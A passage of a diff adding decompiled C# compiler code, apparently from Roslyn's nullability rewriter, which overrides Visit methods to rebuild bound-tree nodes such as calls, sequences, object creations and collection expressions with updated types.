node.IndexerType); + BoundDagTemp lengthTemp = (BoundDagTemp)Visit(node.LengthTemp); + BoundExpression indexerAccess = (BoundExpression)Visit(node.IndexerAccess); + BoundListPatternReceiverPlaceholder receiverPlaceholder = (BoundListPatternReceiverPlaceholder)Visit(node.ReceiverPlaceholder); + BoundListPatternIndexPlaceholder argumentPlaceholder = (BoundListPatternIndexPlaceholder)Visit(node.ArgumentPlaceholder); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(updatedSymbol, lengthTemp, node.Index, indexerAccess, receiverPlaceholder, argumentPlaceholder, input); + } + + public override BoundNode? VisitDagSliceEvaluation(BoundDagSliceEvaluation node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.SliceType); + BoundDagTemp lengthTemp = (BoundDagTemp)Visit(node.LengthTemp); + BoundExpression indexerAccess = (BoundExpression)Visit(node.IndexerAccess); + BoundSlicePatternReceiverPlaceholder receiverPlaceholder = (BoundSlicePatternReceiverPlaceholder)Visit(node.ReceiverPlaceholder); + BoundSlicePatternRangePlaceholder argumentPlaceholder = (BoundSlicePatternRangePlaceholder)Visit(node.ArgumentPlaceholder); + BoundDagTemp input = (BoundDagTemp)Visit(node.Input); + return node.Update(updatedSymbol, lengthTemp, node.StartIndex, node.EndIndex, indexerAccess, receiverPlaceholder, argumentPlaceholder, input); + } + + public override BoundNode? VisitSwitchSection(BoundSwitchSection node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + ImmutableArray switchLabels = VisitList(node.SwitchLabels); + ImmutableArray statements = VisitList(node.Statements); + return node.Update(updatedArray, switchLabels, statements); + } + + public override BoundNode? VisitSequencePointExpression(BoundSequencePointExpression node) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundSequencePointExpression boundSequencePointExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundSequencePointExpression = node.Update(expression, value.Item2); + (boundSequencePointExpression.TopLevelNullability, _) = value; + } + else + { + boundSequencePointExpression = node.Update(expression, node.Type); + } + return boundSequencePointExpression; + } + + public override BoundNode? VisitSequence(BoundSequence node) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + ImmutableArray sideEffects = VisitList(node.SideEffects); + BoundExpression value = (BoundExpression)Visit(node.Value); + BoundSequence boundSequence; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value2)) + { + boundSequence = node.Update(updatedArray, sideEffects, value, value2.Item2); + (boundSequence.TopLevelNullability, _) = value2; + } + else + { + boundSequence = node.Update(updatedArray, sideEffects, value, node.Type); + } + return boundSequence; + } + + public override BoundNode? VisitSpillSequence(BoundSpillSequence node) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + ImmutableArray sideEffects = VisitList(node.SideEffects); + BoundExpression value = (BoundExpression)Visit(node.Value); + BoundSpillSequence boundSpillSequence; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value2)) + { + boundSpillSequence = node.Update(updatedArray, sideEffects, value, value2.Item2); + (boundSpillSequence.TopLevelNullability, _) = value2; + } + else + { + boundSpillSequence = node.Update(updatedArray, sideEffects, value, node.Type); + } + return boundSpillSequence; + } + + public override BoundNode? VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundDynamicMemberAccess boundDynamicMemberAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDynamicMemberAccess = node.Update(receiver, node.TypeArgumentsOpt, node.Name, node.Invoked, node.Indexed, value.Item2); + (boundDynamicMemberAccess.TopLevelNullability, _) = value; + } + else + { + boundDynamicMemberAccess = node.Update(receiver, node.TypeArgumentsOpt, node.Name, node.Invoked, node.Indexed, node.Type); + } + return boundDynamicMemberAccess; + } + + public override BoundNode? VisitDynamicInvocation(BoundDynamicInvocation node) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.ApplicableMethods); + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray arguments = VisitList(node.Arguments); + BoundDynamicInvocation boundDynamicInvocation; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDynamicInvocation = node.Update(node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, updatedArray, expression, arguments, value.Item2); + (boundDynamicInvocation.TopLevelNullability, _) = value; + } + else + { + boundDynamicInvocation = node.Update(node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, updatedArray, expression, arguments, node.Type); + } + return boundDynamicInvocation; + } + + public override BoundNode? VisitConditionalAccess(BoundConditionalAccess node) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundExpression accessExpression = (BoundExpression)Visit(node.AccessExpression); + BoundConditionalAccess boundConditionalAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundConditionalAccess = node.Update(receiver, accessExpression, value.Item2); + (boundConditionalAccess.TopLevelNullability, _) = value; + } + else + { + boundConditionalAccess = node.Update(receiver, accessExpression, node.Type); + } + return boundConditionalAccess; + } + + public override BoundNode? VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.HasValueMethodOpt); + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundExpression whenNotNull = (BoundExpression)Visit(node.WhenNotNull); + BoundExpression whenNullOpt = (BoundExpression)Visit(node.WhenNullOpt); + BoundLoweredConditionalAccess boundLoweredConditionalAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundLoweredConditionalAccess = node.Update(receiver, updatedSymbol, whenNotNull, whenNullOpt, node.Id, node.ForceCopyOfNullableValueType, value.Item2); + (boundLoweredConditionalAccess.TopLevelNullability, _) = value; + } + else + { + boundLoweredConditionalAccess = node.Update(receiver, updatedSymbol, whenNotNull, whenNullOpt, node.Id, node.ForceCopyOfNullableValueType, node.Type); + } + return boundLoweredConditionalAccess; + } + + public override BoundNode? VisitConditionalReceiver(BoundConditionalReceiver node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundConditionalReceiver boundConditionalReceiver = node.Update(node.Id, value.Item2); + (boundConditionalReceiver.TopLevelNullability, _) = value; + return boundConditionalReceiver; + } + + public override BoundNode? VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + BoundExpression valueTypeReceiver = (BoundExpression)Visit(node.ValueTypeReceiver); + BoundExpression referenceTypeReceiver = (BoundExpression)Visit(node.ReferenceTypeReceiver); + BoundComplexConditionalReceiver boundComplexConditionalReceiver; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundComplexConditionalReceiver = node.Update(valueTypeReceiver, referenceTypeReceiver, value.Item2); + (boundComplexConditionalReceiver.TopLevelNullability, _) = value; + } + else + { + boundComplexConditionalReceiver = node.Update(valueTypeReceiver, referenceTypeReceiver, node.Type); + } + return boundComplexConditionalReceiver; + } + + public override BoundNode? VisitMethodGroup(BoundMethodGroup node) + { + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.Methods); + Symbol updatedSymbol = GetUpdatedSymbol(node, node.LookupSymbolOpt); + FunctionTypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.FunctionType); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + BoundMethodGroup boundMethodGroup; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundMethodGroup = node.Update(node.TypeArgumentsOpt, node.Name, updatedArray, updatedSymbol, node.LookupError, node.Flags, updatedSymbol2, receiverOpt, node.ResultKind); + (boundMethodGroup.TopLevelNullability, _) = value; + } + else + { + boundMethodGroup = node.Update(node.TypeArgumentsOpt, node.Name, updatedArray, updatedSymbol, node.LookupError, node.Flags, updatedSymbol2, receiverOpt, node.ResultKind); + } + return boundMethodGroup; + } + + public override BoundNode? VisitPropertyGroup(BoundPropertyGroup node) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.Properties); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + BoundPropertyGroup boundPropertyGroup; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundPropertyGroup = node.Update(updatedArray, receiverOpt, node.ResultKind); + (boundPropertyGroup.TopLevelNullability, _) = value; + } + else + { + boundPropertyGroup = node.Update(updatedArray, receiverOpt, node.ResultKind); + } + return boundPropertyGroup; + } + + public override BoundNode? VisitCall(BoundCall node) + { + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.Method); + GetUpdatedArray(node, node.OriginalMethodsOpt); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + ImmutableArray arguments = VisitList(node.Arguments); + BoundCall boundCall; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundCall = node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, updatedSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.IsDelegateCall, node.Expanded, node.InvokedAsExtensionMethod, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, node.OriginalMethodsOpt, value.Item2); + (boundCall.TopLevelNullability, _) = value; + } + else + { + boundCall = node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, updatedSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.IsDelegateCall, node.Expanded, node.InvokedAsExtensionMethod, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, node.OriginalMethodsOpt, node.Type); + } + return boundCall; + } + + public override BoundNode? VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + EventSymbol updatedSymbol = GetUpdatedSymbol(node, node.Event); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + BoundExpression argument = (BoundExpression)Visit(node.Argument); + BoundEventAssignmentOperator boundEventAssignmentOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundEventAssignmentOperator = node.Update(updatedSymbol, node.IsAddition, node.IsDynamic, receiverOpt, argument, value.Item2); + (boundEventAssignmentOperator.TopLevelNullability, _) = value; + } + else + { + boundEventAssignmentOperator = node.Update(updatedSymbol, node.IsAddition, node.IsDynamic, receiverOpt, argument, node.Type); + } + return boundEventAssignmentOperator; + } + + public override BoundNode? VisitAttribute(BoundAttribute node) + { + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.Constructor); + ImmutableArray constructorArguments = VisitList(node.ConstructorArguments); + ImmutableArray namedArguments = VisitList(node.NamedArguments); + BoundAttribute boundAttribute; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundAttribute = node.Update(updatedSymbol, constructorArguments, node.ConstructorArgumentNamesOpt, node.ConstructorArgumentsToParamsOpt, node.ConstructorExpanded, node.ConstructorDefaultArguments, namedArguments, node.ResultKind, value.Item2); + (boundAttribute.TopLevelNullability, _) = value; + } + else + { + boundAttribute = node.Update(updatedSymbol, constructorArguments, node.ConstructorArgumentNamesOpt, node.ConstructorArgumentsToParamsOpt, node.ConstructorExpanded, node.ConstructorDefaultArguments, namedArguments, node.ResultKind, node.Type); + } + return boundAttribute; + } + + public override BoundNode? VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + BoundUnconvertedObjectCreationExpression boundUnconvertedObjectCreationExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundUnconvertedObjectCreationExpression = node.Update(arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.InitializerOpt, node.Binder); + (boundUnconvertedObjectCreationExpression.TopLevelNullability, _) = value; + } + else + { + boundUnconvertedObjectCreationExpression = node.Update(arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.InitializerOpt, node.Binder); + } + return boundUnconvertedObjectCreationExpression; + } + + public override BoundNode? VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.Constructor); + ImmutableArray updatedArray = GetUpdatedArray(node, node.ConstructorsGroup); + ImmutableArray arguments = VisitList(node.Arguments); + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + BoundObjectCreationExpression boundObjectCreationExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundObjectCreationExpression = node.Update(updatedSymbol, updatedArray, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ConstantValueOpt, initializerExpressionOpt, node.WasTargetTyped, value.Item2); + (boundObjectCreationExpression.TopLevelNullability, _) = value; + } + else + { + boundObjectCreationExpression = node.Update(updatedSymbol, updatedArray, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ConstantValueOpt, initializerExpressionOpt, node.WasTargetTyped, node.Type); + } + return boundObjectCreationExpression; + } + + public override BoundNode? VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray elements = VisitList(node.Elements); + BoundUnconvertedCollectionExpression boundUnconvertedCollectionExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundUnconvertedCollectionExpression = node.Update(elements); + (boundUnconvertedCollectionExpression.TopLevelNullability, _) = value; + } + else + { + boundUnconvertedCollectionExpression = node.Update(elements); + } + return boundUnconvertedCollectionExpression; + } + + public override BoundNode? VisitCollectionExpression(BoundCollectionExpression node) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.CollectionBuilderMethod); + BoundObjectOrCollectionValuePlaceholder placeholder = node.Placeholder; + BoundExpression collectionCreation = node.CollectionCreation; + BoundValuePlaceholder collectionBuilderInvocationPlaceholder = node.CollectionBuilderInvocationPlaceholder; + BoundExpression collectionBuilderInvocationConversion = node.CollectionBuilderInvocationConversion; + ImmutableArray elements = VisitList(node.Elements); + BoundCollectionExpression boundCollectionExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundCollectionExpression = node.Update(node.CollectionTypeKind, placeholder, collectionCreation, updatedSymbol, collectionBuilderInvocationPlaceholder, collectionBuilderInvocationConversion, elements, value.Item2); + (boundCollectionExpression.TopLevelNullability, _) = value; + } + else + { + boundCollectionExpression = node.Update(node.CollectionTypeKind, placeholder, collectionCreation, updatedSymbol, collectionBuilderInvocationPlaceholder, collectionBuilderInvocationConversion, elements, node.Type); + } + return boundCollectionExpression; + } + + public override BoundNode? VisitCollectionExpressionSpreadExpressionPlaceholder(BoundCollectionExpressionSpreadExpressionPlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundCollectionExpressionSpreadExpressionPlaceholder boundCollectionExpressionSpreadExpressionPlaceholder = node.Update(value.Item2); + (boundCollectionExpressionSpreadExpressionPlaceholder.TopLevelNullability, _) = value; + return boundCollectionExpressionSpreadExpressionPlaceholder; + } + + public override BoundNode? VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundCollectionExpressionSpreadExpressionPlaceholder expressionPlaceholder = node.ExpressionPlaceholder; + BoundExpression conversion = node.Conversion; + BoundExpression lengthOrCount = node.LengthOrCount; + BoundValuePlaceholder elementPlaceholder = node.ElementPlaceholder; + BoundStatement iteratorBody = node.IteratorBody; + BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundCollectionExpressionSpreadElement = node.Update(expression, expressionPlaceholder, conversion, node.EnumeratorInfoOpt, lengthOrCount, elementPlaceholder, iteratorBody); + (boundCollectionExpressionSpreadElement.TopLevelNullability, _) = value; + } + else + { + boundCollectionExpressionSpreadElement = node.Update(expression, expressionPlaceholder, conversion, node.EnumeratorInfoOpt, lengthOrCount, elementPlaceholder, iteratorBody); + } + return boundCollectionExpressionSpreadElement; + } + + public override BoundNode? VisitTupleLiteral(BoundTupleLiteral node) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + BoundTupleLiteral boundTupleLiteral; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundTupleLiteral = node.Update(arguments, node.ArgumentNamesOpt, node.InferredNamesOpt, value.Item2); + (boundTupleLiteral.TopLevelNullability, _) = value; + } + else + { + boundTupleLiteral = node.Update(arguments, node.ArgumentNamesOpt, node.InferredNamesOpt, node.Type); + } + return boundTupleLiteral; + } + + public override BoundNode? VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + BoundTupleLiteral sourceTuple = (BoundTupleLiteral)Visit(node.SourceTuple); + ImmutableArray arguments = VisitList(node.Arguments); + BoundConvertedTupleLiteral boundConvertedTupleLiteral; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundConvertedTupleLiteral = node.Update(sourceTuple, node.WasTargetTyped, arguments, node.ArgumentNamesOpt, node.InferredNamesOpt, value.Item2); + (boundConvertedTupleLiteral.TopLevelNullability, _) = value; + } + else + { + boundConvertedTupleLiteral = node.Update(sourceTuple, node.WasTargetTyped, arguments, node.ArgumentNamesOpt, node.InferredNamesOpt, node.Type); + } + return boundConvertedTupleLiteral; + } + + public override BoundNode? VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.ApplicableMethods); + ImmutableArray arguments = VisitList(node.Arguments); + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + BoundDynamicObjectCreationExpression boundDynamicObjectCreationExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDynamicObjectCreationExpression = node.Update(node.Name, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, initializerExpressionOpt, updatedArray, node.WasTargetTyped, value.Item2); + (boundDynamicObjectCreationExpression.TopLevelNullability, _) = value; + } + else + { + boundDynamicObjectCreationExpression = node.Update(node.Name, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, initializerExpressionOpt, updatedArray, node.WasTargetTyped, node.Type); + } + return boundDynamicObjectCreationExpression; + } + + public override BoundNode? VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + BoundNoPiaObjectCreationExpression boundNoPiaObjectCreationExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundNoPiaObjectCreationExpression = node.Update(node.GuidString, initializerExpressionOpt, node.WasTargetTyped, value.Item2); + (boundNoPiaObjectCreationExpression.TopLevelNullability, _) = value; + } + else + { + boundNoPiaObjectCreationExpression = node.Update(node.GuidString, initializerExpressionOpt, node.WasTargetTyped, node.Type); + } + return boundNoPiaObjectCreationExpression; + } + + public override BoundNode? VisitObjectInitializerExpression(BoundObjectInitializerExpression node) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + BoundObjectOrCollectionValuePlaceholder placeholder = (BoundObjectOrCollectionValuePlaceholder)Visit(node.Placeholder); + ImmutableArray initializers = VisitList(node.Initializers); + BoundObjectInitializerExpression boundObjectInitializerExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundObjectInitializerExpression = node.Update(placeholder, initializers, value.Item2); + (boundObjectInitializerExpression.TopLevelNullability, _) = value; + } + else + { + boundObjectInitializerExpression = node.Update(placeholder, initializers, node.Type); + } + return boundObjectInitializerExpression; + } + + public override BoundNode? VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + Symbol updatedSymbol = GetUpdatedSymbol(node, node.MemberSymbol); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.ReceiverType); + ImmutableArray arguments = VisitList(node.Arguments); + BoundObjectInitializerMember boundObjectInitializerMember; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundObjectInitializerMember = node.Update(updatedSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, updatedSymbol2, value.Item2); + (boundObjectInitializerMember.TopLevelNullability, _) = value; + } + else + { + boundObjectInitializerMember = node.Update(updatedSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, updatedSymbol2, node.Type); + } + return boundObjectInitializerMember; + } + + public override BoundNode? VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.ReceiverType); + BoundDynamicObjectInitializerMember boundDynamicObjectInitializerMember; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDynamicObjectInitializerMember = node.Update(node.MemberName, updatedSymbol, value.Item2); + (boundDynamicObjectInitializerMember.TopLevelNullability, _) = value; + } + else + { + boundDynamicObjectInitializerMember = node.Update(node.MemberName, updatedSymbol, node.Type); + } + return boundDynamicObjectInitializerMember; + } + + public override BoundNode? VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + BoundObjectOrCollectionValuePlaceholder placeholder = (BoundObjectOrCollectionValuePlaceholder)Visit(node.Placeholder); + ImmutableArray initializers = VisitList(node.Initializers); + BoundCollectionInitializerExpression boundCollectionInitializerExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundCollectionInitializerExpression = node.Update(placeholder, initializers, value.Item2); + (boundCollectionInitializerExpression.TopLevelNullability, _) = value; + } + else + { + boundCollectionInitializerExpression = node.Update(placeholder, initializers, node.Type); + } + return boundCollectionInitializerExpression; + } + + public override BoundNode? VisitCollectionElementInitializer(BoundCollectionElementInitializer node) + { + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.AddMethod); + ImmutableArray arguments = VisitList(node.Arguments); + BoundExpression implicitReceiverOpt = (BoundExpression)Visit(node.ImplicitReceiverOpt); + BoundCollectionElementInitializer boundCollectionElementInitializer; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundCollectionElementInitializer = node.Update(updatedSymbol, arguments, implicitReceiverOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.InvokedAsExtensionMethod, node.ResultKind, value.Item2); + (boundCollectionElementInitializer.TopLevelNullability, _) = value; + } + else + { + boundCollectionElementInitializer = node.Update(updatedSymbol, arguments, implicitReceiverOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.InvokedAsExtensionMethod, node.ResultKind, node.Type); + } + return boundCollectionElementInitializer; + } + + public override BoundNode? VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.ApplicableMethods); + BoundExpression expression = (BoundExpression)Visit(node.Expression); + ImmutableArray arguments = VisitList(node.Arguments); + BoundDynamicCollectionElementInitializer boundDynamicCollectionElementInitializer; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDynamicCollectionElementInitializer = node.Update(updatedArray, expression, arguments, value.Item2); + (boundDynamicCollectionElementInitializer.TopLevelNullability, _) = value; + } + else + { + boundDynamicCollectionElementInitializer = node.Update(updatedArray, expression, arguments, node.Type); + } + return boundDynamicCollectionElementInitializer; + } + + public override BoundNode? VisitImplicitReceiver(BoundImplicitReceiver node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundImplicitReceiver boundImplicitReceiver = node.Update(value.Item2); + (boundImplicitReceiver.TopLevelNullability, _) = value; + return boundImplicitReceiver; + } + + public override BoundNode? VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.Constructor); + ImmutableArray arguments = VisitList(node.Arguments); + ImmutableArray declarations = VisitList(node.Declarations); + BoundAnonymousObjectCreationExpression boundAnonymousObjectCreationExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundAnonymousObjectCreationExpression = node.Update(updatedSymbol, arguments, declarations, value.Item2); + (boundAnonymousObjectCreationExpression.TopLevelNullability, _) = value; + } + else + { + boundAnonymousObjectCreationExpression = node.Update(updatedSymbol, arguments, declarations, node.Type); + } + return boundAnonymousObjectCreationExpression; + } + + public override BoundNode? VisitAnonymousPropertyDeclaration(BoundAnonymousPropertyDeclaration node) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol updatedSymbol = GetUpdatedSymbol(node, node.Property); + BoundAnonymousPropertyDeclaration boundAnonymousPropertyDeclaration; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundAnonymousPropertyDeclaration = node.Update(updatedSymbol, value.Item2); + (boundAnonymousPropertyDeclaration.TopLevelNullability, _) = value; + } + else + { + boundAnonymousPropertyDeclaration = node.Update(updatedSymbol, node.Type); + } + return boundAnonymousPropertyDeclaration; + } + + public override BoundNode? VisitNewT(BoundNewT node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundObjectInitializerExpressionBase initializerExpressionOpt = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpressionOpt); + BoundNewT boundNewT; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundNewT = node.Update(initializerExpressionOpt, node.WasTargetTyped, value.Item2); + (boundNewT.TopLevelNullability, _) = value; + } + else + { + boundNewT = node.Update(initializerExpressionOpt, node.WasTargetTyped, node.Type); + } + return boundNewT; + } + + public override BoundNode? VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.MethodOpt); + BoundExpression argument = (BoundExpression)Visit(node.Argument); + BoundDelegateCreationExpression boundDelegateCreationExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDelegateCreationExpression = node.Update(argument, updatedSymbol, node.IsExtensionMethod, node.WasTargetTyped, value.Item2); + (boundDelegateCreationExpression.TopLevelNullability, _) = value; + } + else + { + boundDelegateCreationExpression = node.Update(argument, updatedSymbol, node.IsExtensionMethod, node.WasTargetTyped, node.Type); + } + return boundDelegateCreationExpression; + } + + public override BoundNode? 